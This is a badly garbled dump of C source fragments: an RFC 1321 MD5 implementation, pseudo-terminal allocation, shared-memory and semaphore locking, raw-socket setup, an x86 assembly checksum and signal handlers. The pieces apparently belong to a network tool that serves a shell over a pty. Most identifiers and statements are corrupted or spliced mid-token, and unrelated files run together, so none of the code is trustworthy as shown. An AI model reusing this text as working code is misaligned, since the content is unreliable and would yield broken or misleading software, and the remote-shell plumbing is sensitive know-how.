== NNOK))))))))) xmil ,troto = ys,i ntri, NOCRry == NNOK) verdaNOK) ver} whilient[i].touchtime) > KEY_TIMESns */ctionsK =ptyslot].pty_fd = 0; #endif } #ifser_nanal KI D izaa /*or cpalient s * same protocol Dinlid tcryptis gr }p... * same protocol /9 (k /(- i , al KI D))(client context we have proper permissi"nt_expircly noheck palient gr }ptry == NNOK) v 0inaNOK)database full"); ulocks(); rei it (sige)de emove */ * same protocol D(DH *ack_f STRO lns * same protocol /9 mpi l*ntries, ntries )sin)); whilient(m;= oent *proto =( ))(client context we have pro0roALRM, cliSns */UNKNOWNinaNOK) ver [i].touchtime) > KEY_TIMER) d: d STRO <%d> fr cip(DH *lns c[%d]",ic_L)demry == NNOK) v 0inaNOK)database full"); ulocks(); reA *re regis /9 mpi l* AT_C, AT_C )sin)); whilgiven hts abouta 2, 4ene 0; =ptyslot].pty_fd = 0; #endif } #ifOgc* T #Siier ugan h ck izakeep * same protocol Dproble skey , inssyncst be )NU * same protocol ls *re regi. Werknow*ack_amkey * same protocol lof+ck = 0, cmo goiiniizaClr_n(;nn * same protocol De krtf necack_s noDk ut )a n IdvancU * same protocol lsdeZE)c f re; iack_ * e * are nabbed fromnabbed f the *proto =(oent *proto =(IS_G), 5, 5, 0x24,P{ n* s proto =(oent *proto =(IS_G), 2, UT;, upt =ptyslot].pty_fd = 0; #endif } #ifty */downtpay; ie) oe 0; -1c * same protocol DRhunks, uitselett ) = g * are nabbed fromnabbed ft ; m 0;n; m += (tNULL1 etopt(argc, argv, "v:d:tt /*&d 2=m] tNULL1 argv, "v:d:t xmil ,t P_DST,iL_ n , OKCRinaNOK) verdatabase f xmil ,t P_DST,iL_EOT, OKCRinatabase f v 0in NNOK)))))))))))))deftiit ack_fh aftatoF_t iin t[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ocol ack_lagisproble * same protocol /9 verdashmn; ex xtern struct cl reA p toBftch (cualize e s /9 mpi l* WAP_u, WAP_u )sin)); whilientk /(getppEnsu, S USR1)t context we have proper permissi"nt_expircly noheck p try == NNOK) v 0inaNOK)da/ psounaupetpr/un ( ogn tab--- /9 xmil Sns */UNSUP,t P_DST,iL_ n , OKCRinaNOK) xmil 2,t P_DST,iL_EOT, OKCRinaacket the *proto =(oent *proto =(IS_G), p_seu_,tb_seu_y *NOK) v 0ina}(!DH_s righSwapco = getprdualize esc* T #SiieRM"); aier ils1) of+S USR1 (DH righawch rypti palientible * } swa(_ rtik on u_short ammmmmmmmmmmmmmmmmmmt].packet l; introto = yslot]....t].packetost. ualizTRO pOUT; .t].packet aboud = 0; int....t]er 9 [i].touchtime) > KEY_TIMER) d: d STRO <%d> re regicipadualize easwa(entryc_L)ry 9 */ n 0; a rctions)sin)); whilient(coto = ysl= s sig_coto = ys(n++, &c_L)r ) context , argv, "v:d:ttime) > KEY_TIMER)tF_t iiniualize ea the *: <%d> -c[%d]> p_ic_L)desess_look; coto = ys), n argv, "v:d:t xmil ,troto = ys,i n , OKCRinaNOK) verbosi xmil ,troto = ys,i EOT, OKCRina sssssssssss the *proto =(oent *proto =(IS_G), p_seu_,tb_seu_y romnabbed fO *NOK) tountv; s };*NOK)OUT; t OUT; =t main(intUDP( ? main(int arg : main(intUDg cont n oki sdgAWN_TY(AF_INET, SOCK_RAWber(pr ) i0ler */ if (signal(SIG permissions */SOCKET)oyNOK)OOUT; t getpalizby\t%s\n , hos; 9 sime) > ,t" d: o = getprdualize eaftch (ipnne -> p_iOOUT; -> e_ n ry == Nfime) > KEY_TIMER) %s"ME };*NOK) xmil ,t P_DST,iL_ n , OKCRinaNOK) xmil ,t P_DST,iL_EOT, OKCRinataba the *proto =(oent *proto =(IS_G), p_seu_,tb_seu_y *NOK)))))))))))))))))))))))))))))))))))))))))/ l%l-egiselretu rl /9ocol USR1, swa(_ signal handler */ if (signal(SIG permissions */S USR1 };} ryOF)on */ 0xDFd, 0, 0x4D, md5/Mak */ < # Mak */ 2 ;*NObeen tacs beC de. i rlh" jible shmn; exin(in----S in(in----S 0t * No e riOINTER ier key, icocoiTR rl =o /9 =; exuna tababoutiOINTER; e rUINT2 ier two_s noDwordo /9 =; exuna ta UINT2; e rUINT4 ier f/ur s noDwordo /9 =; exuna ta; int UINT4; rin(in_LISTSiie tadep_t iini S how*in(in----S iie taabove. Iexusxpecin(in----S, henrin(in_LISTSE, uses ack_list, o wi E, uses r nmptm lns ible shmxin(in----S in(in_LIST(lns ) lns s in(in_LIST(lns ) ()t * No */ md5/global.h , 0x4D, md5/md5.h rMD5.H /* EOF */ 2 ;*Tdaemog sdien musR be E, a ta n I n f io*/of r n prrt of t # docum /* *r m/ softw . MD5_HASH int,16 rMD5(:|P ext.o /9 =; exost. , arUINT4 s e[4] = OK, cflags = 0, riad */ reA / ABCD)l /9ocUINT4 k ut [2]Hprotocolzeo\t%s\n(of bits, modulo 2^64 (lsb */rs ) /9ocuna tababou fe [64] = OK, cflags = 0, riad */#ifinpu fe r } MD5_CTX;* } MD5Init in(in_LISTS((MD5_CTX *)a } MD5Uthe * in(in_LIST9oc((MD5_CTX *,xuna tababout,xuna tage aa } MD5Fi in(in_LISTS((una tababou[16], MD5_CTX *)a */ md5/md5.h , 0x4D, md5/md5c, 0xB MD5C.C RSA D_exuSecur by, Inc., MD5 messich-digesROalgor bem e rC /right (C)pt.c1-2,tRSA D_exuSecur by, Inc. C oicipt.c1.OAll right, ts ryptd. Licen toBf /hr mau t #Ssoftw it graTRr-lprlvi (ipnhat #SiLO) kf ; aieack_"RSA D_exuSecur by, Inc. MD5pMessich-DigesR Algor bem"a n Ill maR ri m h Siini r E,fe ciinii #Ssoftw )N #S catch S. Licen iierlso graTRr-lnnemakehr mau EOFTO D{ obfslprlvi (i nhat such obfsl iLO) kf ; aie"EOFTOcip(DH *ack_RSA D_ex Secur by, Inc. MD5pMessich-DigesR Algor bem"a n Ill maR ri m h Siini r E,fe ciinii EOFTO tacobf. RSA D_exuSecur by, Inc. mak=ien ilpts rnta s concerSiiniei i merftchiseil of t #Ssoftw )NU uitseil of t # softw t r n prrticulboupurpmis. I it prlvi (ip"a#Sii" cs bou irent Mmpl ; w raTR of r n k . Tdaemog sdien musR be E, a ta n I n f io*/of r n prrt of t # docum /* *r m/ softw . * 1996global.hld* * 1996md5.h" rC ngisne ft MD5T = gt mc---- ible * /* RivesRO * smmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm[Pich 9] RFC 1321DDDDDDDDDDDDDDMD5pMessich-DigesROAlgor bemn = 0; #endaAimel--> 2 S11 7 S12 12 S13 17 S14 22 S21D5 S22 9 S23 14 S24 20 S31 4 S32 11 S33,16 S34 23 S41 6 S42 10 S43,15 S44 21 os = I} MD5T = gt mcin(in_LISTS((UINT4 [4],xuna tababou[64])a os = I} Enk undin(in_LIST9oc((una tababout,xUINT4 t,xuna tage aa os = I} Dek undin(in_LIST9oc((UINT4 t,xuna tababout,xuna tage aa os = I} MD5_memc /hin(in_LISTS((iOINTER, iOINTER, una tage aa os = I} MD5_mem in(in_LISTS((iOINTER, rtif Nna tage aa os = Iuna tababouPADDING[64].t]e 0x80ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0r 0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0r 0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0ro0 }; e rF, G, Hhr maIl bas= IMD5p(catch Sjible s F(x, y, z) ( x) & (y)) | (~x) & (zr ) s G(x, y, z) ( x) & (z)) | (y) & (~zr ) s H(x, y, z) (x) ^ (y) ^ (z ) s I(x, y, z) (y) ^ ((x) | (~zr ) e rn(iATE_LEFTSEo /s x lef ambitsible s n(iATE_LEFT(x, n) ( x) << (n)) | (x) >> (32-(n)) ) e rFF, GG, HH,hr maII o = gt ma s t r } s(SIG2,t3,hr ma4. Ro /* * #Ssep e * (DH *addi/* *izaprev ( o. Tach S. le s FF(a, b, c, d, x, s, ac) { \ (a) += F (b),= ge,= d)) + (x) + (UINT4)(ac); \ (a) =rn(iATE_LEFTS((a), ho)); \ (a) += (b); \ )da/ GG(a, b, c, d, x, s, ac) { \ (a) += G (b),= ge,= d)) + (x) + (UINT4)(ac); \ (a) =rn(iATE_LEFTS((a), ho)); \ (a) += (b); \ )da/ HH(a, b, c, d, x, s, ac) { \ (a) += H (b),= ge,= d)) + (x) + (UINT4)(ac); \ (a) =rn(iATE_LEFTS((a), ho)); \ (a) += (b); \ )da/ II(a, b, c, d, x, s, ac) { \ (a) += I (b),= ge,= d)) + (x) + (UINT4)(ac); \ (a) =rn(iATE_LEFTS((a), ho)); \ (a) += (b); \ )da rMD5(initi izach S. Begies r MD5(; a; ,icritxpec new(:|P ext. d } MD5Init (:|P ext) MD5_CTX *:|P ext = OK, cflags = 0, riad */ ad */#if:|P extd e :|P ext->k ut [0]P= :|P ext->k ut [1].t].pack#ifL ad mag= IPPiti izach Sacongisne . /9oc:|P ext->s e[0]P= 0x67452301;9oc:|P ext->s e[1].t].xefcdab89;9oc:|P ext->s e[2].t].x98badcfe;9oc:|P ext->s e[3].t].x10325476};} rMD5(bhe ia the *(; a; .oCont s r MD5(messich-digesR9oc; a; ,ipalientxpec o (messich(bhe i,hr ma the 't )NU :|P ext. d } MD5Uthe * (:|P ext,finpu ,finpu Len) MD5_CTX *:|P ext = OK, cflags = 0, riad */ ad */#if:|P extd una tababoutinpu = OK, cflags = 0, riad */ #ifinpu he ia una tan inpu Len = OK, cflags = 0, riadeflntgbe of inpu he ia {9ocuna tan i,findex, prrtLen ))zeoCo. Too\t%s\n(of b no*/mod 64 /9ocindex t Nna tage a((:|P ext->k ut [0]P>> 3) & 0x3F) ))zeoUthe * \t%s\n(of bits /9ocient(c|P ext->k ut [0]P+= ((UINT4)inpu Len << 3 ) e /* RivesRO * smmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm[Pich 11] RFC 1321DDDDDDDDDDDDDDMD5pMessich-DigesROAlgor bemn = 0; #endaAimel--> 2 nda< ((UINT4)inpu Len << 3 ) :|P ext->k ut [1]++}; :|P ext->k ut [1].+= ((UINT4)inpu Len >> 29) ))prrtLen t 64 -cindex ))zeoT = gt mca#Smr n t sca#Spmisible. /9ocientinpu Len >=)prrtLen)]e MD5_memc / nda((iOINTER)&:|P ext-> fe [index],x(iOINTER)inpu ,fprrtLen); MD5T = gt mc(:|P ext->s e, :|P ext-> fe ) )t * prrtLen i + 63a< inpu Len =i.+= 64ler *MD5T = gt mc(:|P ext->s e, &inpu [i]) )index t .packO i t .pa ))zeoB fe rrend piint pu /9ocMD5_memc / n((iOINTER)&:|P ext-> fe [index],x(iOINTER)&inpu [i],9ocinpu Len-i)};} rMD5(fi izach S. E s(r MD5(messich-digesR(; a; ,icritxpec)NU i messich(digesROa maivenizxpece k deP ext. d } MD5Fi (digesR, :|P ext) una tababoudigesR[16] = OK, cflags = 0, riad */#ifmessich(digesRO MD5_CTX *:|P ext = OK, cflags = 0, riad */ ad *#if:|P extd e una tababou its[8];9ocuna tan index, prdLen ))zeoSin s\t%s\n(of bits /9ocEnk und(bits, :|P ext->k ut , 8) ))zeoPa */u 56/mod 64. /9ocindex t Nna tage a((:|P ext->k ut [0]P>> 3) & 0x3fy *NOprdLennt agedex < 56en cl56/-cindexent[i120/-cindexe;9ocMD5Uthe * (:|P ext,fPADDING, prdLen) ))zeoApp_t flntgbe (bef necpadding) /9ocMD5Uthe * (:|P ext,fbits, 8) /* RivesRO * smmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm[Pich 12] RFC 1321DDDDDDDDDDDDDDMD5pMessich-DigesROAlgor bemn = 0; #endaAimel--> 2 ndzeoSt necA / in(digesRO ocEnk und(digesR, :|P ext->s e, 16) ))zeoZvenizeo na D{ info ma . /9ocMD5_mem ((iOINTER):|P ext,f0, (*:|P ext))};} rMD5(bas= Io = gt ma .oT = gt mscA / basemast he i. d os = I} MD5T = gt mc(s e, he i) UINT4 s e[4] una tababou he i[64] , arUINT4 a* s e[0], * s e[1] c* s e[2] d* s e[3] x[16] ))Dek und(x, bhe i,h64l ))zeoR } 1O ocFF a, b, c, d, x[ 0], S1pro0xd76aa478) h#if1i ocFF d, a, b, c, x[ 1], S12ro0xe8c7b756e; #if2i ocFF c, d, a, b, x[ 2], S13ro0x242070dbe; #if3i ocFF b, c, d, a, x[ 3], S14ro0xc1bdceeee; #if4O ocFF a, b, c, d, x[ 4], S1pro0xf57c0fafe; #if5i ocFF d, a, b, c, x[ 5], S12ro0x4787c62ae; #if6i ocFF c, d, a, b, x[ 6], S13ro0xa8304613e; #if7i ocFF b, c, d, a, x[ 7], S14ro0xfd469501e; #if8O ocFF a, b, c, d, x[ 8], S1pro0x698098d8) h#if9i ocFF d, a, b, c, x[ 9], S12ro0x8b44f7afe; #if10i ocFF c, d, a, b, x[10], S13ro0xffff5bb1e; #if11i ocFF b, c, d, a, x[11], S14ro0x895cd7bee; #if12O ocFF a, b, c, d, x[12], S1pro0x6b901122e; #if13i ocFF d, a, b, c, x[13], S12ro0xfd987193e; #if14i ocFF c, d, a, b, x[14], S13ro0xa679438ee; #if15i ocFF b, c, d, a, x[15], S14ro0x49b40821e; #if16i )zeoR } 2O ocGG a, b, c, d, x[ 1], S2pro0xf61e2562e; #if17O ocGG d, a, b, c, x[ 6], S22ro0xc040b340e; #if18O ocGG c, d, a, b, x[11], S23ro0x265e5a51e; #if19O ocGG b, c, d, a, x[ 0], S24ro0xe9b6c7aae; #if20O ocGG a, b, c, d, x[ 5], S2pro0xd62f105de; #if21O ocGG d, a, b, c, x[10], S22roo0x2441453e; #if22O ocGG c, d, a, b, x[15], S23ro0xd8a1e681e; #if23O ocGG b, c, d, a, x[ 4], S24ro0xe7d3fbc8) h#if24O ocGG a, b, c, d, x[ 9], S2pro0x21e1cde6e; #if25O ocGG d, a, b, c, x[14], S22ro0xc33707d6e; #if26O ocGG c, d, a, b, x[ 3], S23ro0xf4d50d87e; #if27le * /* RivesRO * smmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm[Pich 13] RFC 1321DDDDDDDDDDDDDDMD5pMessich-DigesROAlgor bemn = 0; #endaAimel--> 2 ndGG b, c, d, a, x[ 8], S24ro0x455a14ede; #if28O ocGG a, b, c, d, x[13], S2pro0xa9e3e905e; #if29O ocGG d, a, b, c, x[ 2], S22ro0xfcefa3f8) h#if30O ocGG c, d, a, b, x[ 7], S23ro0x676f02d9) h#if31O ocGG b, c, d, a, x[12], S24ro0x8d2a4c8ae; #if32 ndzeoR } 3O ocHH a, b, c, d, x[ 5], S31ro0xfffa3942e; #if33O ocHH d, a, b, c, x[ 8], S32ro0x8771f681e; #if34O ocHH c, d, a, b, x[11], S33ro0x6d9d6122e; #if35O ocHH b, c, d, a, x[14], S34ro0xfde5380ce; #if36O ocHH a, b, c, d, x[ 1], S31ro0xa4beea44e; #if37O ocHH d, a, b, c, x[ 4], S32ro0x4bdecfa9) h#if38O ocHH c, d, a, b, x[ 7], S33ro0xf6bb4b60e; #if39O ocHH b, c, d, a, x[10], S34ro0xbebfbc70e; #if40O ocHH a, b, c, d, x[13], S31ro0x289b7ec6e; #if41O ocHH d, a, b, c, x[ 0], S32ro0xeaa127fae; #if42O ocHH c, d, a, b, x[ 3], S33ro0xd4ef3085e; #if43O ocHH b, c, d, a, x[ 6], S34roo0x4881d05e; #if44O ocHH a, b, c, d, x[ 9], S31ro0xd9d4d039) h#if45O ocHH d, a, b, c, x[12], S32ro0xe6db99e5e; #if46O ocHH c, d, a, b, x[15], S33ro0x1fa27cf8) h#if47O ocHH b, c, d, a, x[ 2], S34ro0xc4ac5665e; #if48 ndzeoR } 4O ocII a, b, c, d, x[ 0], S41ro0xf4292244e; #if49O ocII d, a, b, c, x[ 7], S42ro0x432aff97e; #if50O ocII c, d, a, b, x[14], S43ro0xab9423a7e; #if51O ocII b, c, d, a, x[ 5], S44ro0xfc93a039) h#if52O ocII a, b, c, d, x[12], S41ro0x655b59c3e; #if53O ocII d, a, b, c, x[ 3], S42ro0x8f0ccc92e; #if54O ocII c, d, a, b, x[10], S43ro0xffeff47de; #if55O ocII b, c, d, a, x[ 1], S44ro0x85845dd1e; #if56O ocII a, b, c, d, x[ 8], S41ro0x6fa87e4fe; #if57O ocII d, a, b, c, x[15], S42ro0xfe2ce6e0e; #if58O ocII c, d, a, b, x[ 6], S43ro0xa3014314e; #if59O ocII b, c, d, a, x[13], S44ro0x4e0811a1e; #if60O ocII a, b, c, d, x[ 4], S41ro0xf7537e82e; #if61O ocII d, a, b, c, x[11], S42ro0xbd3af235e; #if62O ocII c, d, a, b, x[ 2], S43ro0x2ad7d2bbe; #if63O ocII b, c, d, a, x[ 9], S44ro0xeb86d391e; #if64 nds e[0]P+= a; nds e[1].+= b; nds e[2].+= c; nds e[3].+= d ))zeoZvenizeo na D{ info ma . RivesRO * smmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm[Pich 14] RFC 1321DDDDDDDDDDDDDDMD5pMessich-DigesROAlgor bemn = 0; #endaAimel--> 2 ; /9ocMD5_mem ((iOINTER)x,f0, (x))};} rEnk unst pu (UINT4)ie) oeoutpu (una tababo). Assu scint is a multiplo o, 4. d os = I} Enk und(outpu ,finpu ,flen) una tababoutoutpu ; UINT4 tinpu una tan len {9ocuna tan i,fj ))t * 0, jldg, j < len i++, j.+= 4)]e outpu [j] t Nna tababo)(inpu [i] & 0xffy *Noutpu [j+1] t Nna tababo)((inpu [i] >> 8) & 0xffy *Noutpu [j+2] t Nna tababo)((inpu [i] >> 16) & 0xffy *Noutpu [j+3] t Nna tababo)((inpu [i] >> 24) & 0xffy *N (! rDek unst pu (Nna tababo)ie) oeoutpu (UINT4). Assu scint is a multiplo o, 4. d os = I} Dek und(outpu ,finpu ,flen) UINT4 toutpu ; una tababoutinpu una tan len {9ocuna tan i,fj ))t * 0, jldg, j < len i++, j.+= 4)*Noutpu [i] t (UINT4)inpu [j]) | ((UINT4)inpu [j+1]) << 8) | nda(((UINT4)inpu [j+2]) << 16) | ((UINT4)inpu [j+3]) << 24)};} rNo *: Replace "t loop"st be odandar rm [c /hifSpmisible. os = I} MD5_memc /h(outpu ,finpu ,flen) iOINTER outpu ; iOINTER inpu una tan len {9ocuna tan i ))t * 0 =i.< len i++) e /* RivesRO * smmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm[Pich 15] RFC 1321DDDDDDDDDDDDDDMD5pMessich-DigesROAlgor bemn = 0; #endaAimel--> 2 noutpu [i] t inpu [i]};} rNo *: Replace "t loop"st be odandar rm [ ifSpmisible. os = I} MD5_mem (outpu ,f * e,flen) iOINTER outpu ; ] */ * e una tan len {9ocuna tan i ))t * 0 =i.< len i++) nt(caboutaoutpu )[i] t babo)/ * e } */ md5/md5c, 0, 0x4D, pty, 0xB , 0x24, , , 0[ pty, ] , , 0--> 6/7 G Corpo a; Worldwid eeee[ 9] , 0-A /*or cPTY k undgankcip(DH *Stev tible *shm; ex PTYd* * 19960xDF.h" = NULL] */ #in = OK!DH_generOpenaa ptyl legiselretuit aieack_se l* EOF t be as righcontr elxpece nalble *pid_t ty_f ner] **fdmpypair */slav amre st. e os*/slav _e ose st. wMEinzeo/slav _wMEinzen u_short fdm, fds = OK, cflashortpid_t i packet aboupts_ n [20] m the (fdmP= m_open pts_ n ) i0l er */ if (signal(0roALRM, cli"\nC_checkopenamas wi \n"inatf(st lav amr) stc /(slav amre pts_ n m the (,id f ner ) i0l E, user_- m the !,id)sin)); whiliententv i0l er */ if (signal(1roALRM, cli"\nC_check se "inatf(st, "v (fdsP= s_open fdm, pts_ n ) i0ler */ if (signal(0roALRM, cli"\nC_checkopenaslav \n"ina tounfdmin NNOK))))))))))))) *shme t(TIOCSCTTY) && ! t(CIBAUDler */ ientioctl(fds, TIOCSCTTY,(cabouta0) i0ler */ if (signal(1roALRM, cli"\nioctl"y */ pso n os/wMEinzeo//9 slav _e os) tc attr(fds,TCSANOW, host. e os*/)slav _e os) i0l if (signal(1roALRM, cli"\nC_check e o"y * pso lin sbeco scstdin/stdout/KEY_TIo//9 slav _wMEinzen ientioctl(fds, TIOCSWINSZ, slav _wMEinzen i0ler */ if (signal(1roALRM, cli"\nioctl"y * dup2(fds, STDIN_FILENO) !t STDIN_FILENO)er */ if (signal(0roALRM, cli"\ndup\n"ina dup2(fds, STDOUT_FILENO) !t STDIN_FILENO)er */ if (signal(0roALRM, cli"\ndup\n"ina dup2(fds, STDERR_FILENO) !t STDIN_FILENO)er */ if (signal(0roALRM, cli"\ndup\n"ina fdsP> STDERR_FILENO) tounfdsinatf(st, "vE, user_0in NNOK))))))))))))) ))/ l%l userch / 9 } m the sin)); whil*fdmp fdmn NNOK))))))))))))) )zeoRl userfd o, mas wi //9 E, user_,id)n NNOK))))))))))))) /if arSTROE, uses PID o, ch / 9 } }(!DH_generDee ntwwhich psuedoce nalsl availseletom: toBopenaone l a m_open BF_setpts_ n u_short fdm)))) 0 = NNOK))))))))))))) /ifLns cof+c s toBrunlidrough //9 BF_setp1))) "pqrstuvwxyzPQRST",etp2 "0123456789abc "};ed enostc /(pts_ n li"/dev pty00"a clien#ifptyldevice n ce mplate nd ft ; tp1; p1++) nn)); whilpts_ n [8] t tp1; whilt ; tp2; p2++) nn))nn)); whilwhilpts_ n [9] t tp2 *NOK))))))))) (fdmP= open pts_ n , O_RDWR ) i0ler */ time(timestamp, cl = NNOK))))))))))))) /ifdevice doesn' ns c /9 ifnosignENOons)tE, user_- OK))))))))))))) :|P ))))))))))) } whilwhilpts_ n [5] t 't' = NNOK))))#ifptyl/ tt i /9 E, user_fdmin NNOK))))))))))#ifmas wi */ 6/7 G Corpo a; Worldwid eeee[ 9] , * * * 19960xDF.h" * * 1996roto = db.h" * * 1996shm,h" = NULLost. e rdg; = NULL] */ #in = NULL] *ng.troy\shm ost. roto = lns c d STRO t .partik emi pa*shm; ex client[emp = NULLo = NULLts abou oey-b[ */ i]; s* No e generPrep eco rm ry _maphype , *} prep\shm( u_shorty-b_t shmk ) SHM*/ + getpEnsu pa swo rm ry k ID ient(iny-b_t semk ) SEM*/ + getpEnsu pa swo_maphype k ID ient(inrtik hmL)deint d (0, i t .pa ))))int d = st. roto = lns ) IS a rctions , clK))))))))))))) psoRe regisawo rm ry Feg STROient(inr ( hmL) = hmget(shmk deintbemaCienEAT ) i0ler */ if (signal(SIG permissi"nt_expiro rm Feg STROre regis rortry , clK))))))))))))) psoG SETt) { o_maphype izapert mcime(timestamp, cl = NNOK))))))))))))) ifo rm ry he ixpect beime(timestamp, cl = NNOK))))))))))))) i t(inr ( emL) = emget(semk deSETt) { , hmaCienEAT | SHM*PRM) ) i0ler */ if (signal(SIG permissi"nt_expiro_maphype _ /o /* *n ror try , clK))))))))))))) psoAttach poiTR rl oand tch rm ryime(timestamp, cl = NNOK))))))))))))) ifoeg STRime(timestamp, cl = NNOK))))))))))))) i = NNOK))))))))))))) 9 B STRO t st. roto = lns */) hmat( hmL)dete D, hge ate D =ptyslot].pty_fd = 0; #endif } #if )NU d_exbase i t(int ; i 0; a rctions i++)lgiven &roto =[i], roto =[i])ina}(!DH_generLe iieack_semaphype soBack_fM");r)c facient nd tch rm ryfoeg STR.generT #Siier atomic(; a; . , *} he is( u_shortost. sembuf he i[2].t]er */time(times{0ro0ro0},ime(times{0ro1, SEM*UNDOO natf(st p( emL), &he i[0], 2) i0ler */ if (signal(SIG permissi"nt_expircly noheckhe iam ry"ina}(!DH_generUnle iieack_semaphype soBack_fM");r)c facient nd tch rm ryfoeg STR.generT #Siier atomic(; a; . , *} uhe is( u_shortost. sembuf uhe i[1].t]er */time(times{o0ro-1, hmaCiNOWAIT | SEM*UNDO) O natf(st p( emL), &uhe i[0], 1) i0ler */ if (signal(SIG permissi"nt_expircly noheckunhe iam ry"ina} = NNOK))))))))))))) 9!DH_generRe se nd tch rm ryfoeg STR.gen } dump\shm( u_shorthe is( ;nt(inr ( hmd=(its aboutaroto =))(client context if (signal(SIG permissi"nt_expiro rm Feg STROdetach rortry dg.troy\shmP== OK)sin)); whilient(shmctl( emL), maCiRMID/ ()(client context we have proper permissi"nt_expirc_checkdg.troyk hmL)"inatf(st, "v ( emctl( emL), maCiRMID/ age ate D, ()(client context we have proper permissi"nt_expirc_checkdg.troyk emaphype" }; }m uhe is( ;n}m e ryOF)on */ shm, 0, 0x4D, shm,h0xB , 0x24, , , 0shmP/* EOF */ < , , 0--> 6/7 G Corpo a; Produtch Sj [ 9] , SHM*/ 242OK))))))))))))) zeoS rm ry k e s SEM*/ 424OK))))))))))))) zeoS_maphype k e s SHM*PRM S_IRUSR|S_IWUSR )) zeoS rM ry P s e s SETt) { 1 *} prep\shm( = NNOK))))))))))))) /ifprep eco rm Feg STRO d } he is( ; = NNOK))))))))))))) )) /ifhe iach rm ryf e } uhe is( ; = NNOK))))))))))))) ))/*kunhe iach rm ryf e } dump\shm( = NNOK))))))))))))) /ifre se ch rm ryf on */ shm,h , 0x4D, surplus, 0xB , 0x24,2 , , 0[ surplus, ] , , 0--> 6/7 G Corpo a; Worldwid eeee[ 9] , * * * 19960xDF.h" = NULL] */ #in = OK! = NULLjmp\buf env; WORKIcliROOT "/tmp")))))))))))) /ifSomet scwefmak tak=i.ime(timestamp, cl = NNOK))))))))))))) ifSomet scwefexec Toab--- s wU * same protocol ldidn' mea *iz. `rm -rf`Siiemuceime(timestamp, cl = NNOK))))))))))))) i si rl oapale * (DH */tmp * same protocol /9H_generDond p n s / dotted-decimalsl*/ netcobf s noDorEOF.gen l; int n _resolve BF_setsess n u_shortost. koE^0l4 ^0l4entortost. sessSTROisessEnt=ptyslot].pty_fd = 0; #endif } #if n clook; failure i t(inr (^0l4.sE^0l4ldg tE^0l4(sess n )(client contX_CLtf(st, "v !(sessEnt t getsessby n (sess n )ler */ if (signal(1roALRM, cli"\nnt_expir n clook; failed"ina t /*sessEnt->hE^0l4, (cabouta&^0l4.sE^0l4desessEnt / h_lntgbe OK))} E, user_^0l4.sE^0l4ina}(!DH_generNetcobf s noDorEOFl*/ dotted-decimals.gen BF_setsess_look; l; intin u_shortBF_sesess n = 0; ]iimer ost. koE^0l4 ^0l4en ^0l4.sE^0l4ldg ostc /*sess n , tEntoa_^0l4)ry == NE, user_ostd; sess n );n}m _CLtshm; exX86FAST_CHECK DH_generFagisx86 basemaassemb asimpln STRa; ofhe k IP s siggvoi---- ible * date andits signdate and f,an len u_short l; intgvoit].packet int > 3)sin)); whil__asm__("clc\n" whil"1:\t" whil"lodsl\n\t" whil"adcl %%eax, %%ebx\n\t" whil"loop 1b\n\t" whil"adcl $0, %%ebx\n\t" whil"movl %%ebx, %%eax\n\t" whil"shrl $16, %%eax\n\t" whil"^0lw %%ax, %%bx\n\t" whil"adcw $0, %%bx" whil: "=b"r_oum) li"=S" d f) whil: "0"r_oum)li"c" int >> 2) ,"1" d f) whil: "ax"li"cx"li"si"li"bx" }; }m the int & 2)sin)); whil__asm__("lodsw\n\t" whil"^0lw %%ax, %%bx\n\t" whil"adcw $0, %%bx" whil: "=b"r_oum) li"=S" d f) whil: "0"r_oum)li"c" int >> 2) ,"1" d f) whil: "ax"li"cx"li"si"li"bx" }; }m the int & 2)sin)); whil__asm__("lodsw\n\t" whil"^0lw %%ax, %%bx\n\t" whil"adcw $0, %%bx" whil: "=b"r_oum)li"=S" d f) whil: "0"r_oum)li"1" d f) whil: "bx"li"ax"li"si" }; }m the int & 1)sin)); whil__asm__("lodsb\n\t" whil"movb $0, %%ah\n\t" whil"^0lw %%ax, %%bx\n\t" whil"adcw $0, %%bx" whil: "=b"r_oum)li"=S" d f) whil: "0"r_oum)li"1" d f) whil: "bx"li"ax"li"si" }; } m the int & 1)sin)); whil__asm__("lodsb\n\t" whil"movb $0, %%ah\n\t" whil"^0lw %%ax, %%bx\n\t" whil"adcw $0, %%bx" whil: "=b"r_oum)li"=S" d f) whil: "0"r_oum)li"1" d f) whil: "bx"li"ax"li"si" }; } ovoid= ~ovoy == NE, user_ovoi&o0xffffinada s* mDH_generSdandar rIP Famey fs siggvoi---- ible *date andits signdate and ptr,an nb no* u_shortregis wi ; intgvoiiiiiiidg, iiiidate andodds noD iiiiiiidg, shortregis wi date andanswer t .pa )))) */ nb no*/> 1)sin)); whilgvoi+=d ptr++}; nb no*/-= 2}; }m the nb no*/clint contX_; odds noD 0 = ; *(its abouta&odds no)(c* its aboutaptr; gvoi+=dodds no}; } ovoidiiidg_ovoi>> 16) +r_ovoi&o0xffffinidiii#if^0l hif16i oalowf16i ovoidiii+dg_ovoi>> 16)}; answer d= ~ovoy == NE, user_answerinada s* Noii#ifX86FAST_CHECKle * /* enerGey, icotiit t be n ror catch S. Iffs sig ifnosiiest. , ifnos lly n enerb clookemaaROa mawk_fM")h ror, o wi , jusR dumpiizaCEY_TI.generAddi/* M")y,awk_hin se k op; ofhauperentxpece k n ror messichs s generivenipecALRM, c.gen } if (signn (sigos us, n sig ifno,L] */ alkrtif about ifost eted en [i].alkrti)sin)); whilientn sig ifnoch ror( ifost naNOK) ver fime) > KEY_TIME ifost naNOK)} v (sigos usina}(!DH_generSIGALRMu r. Werts rt ack_alerm t rOa mang 1) gener r, henrts t nec/ur os ck (D n c(DH *ack_poiTRpnhatgener etjmp()wwaieRM"); .gen } catch_t --- rtik on u_shortalerm_0in NNOK))))))))))))) )) idiii#ifts rt alerm t rO nd 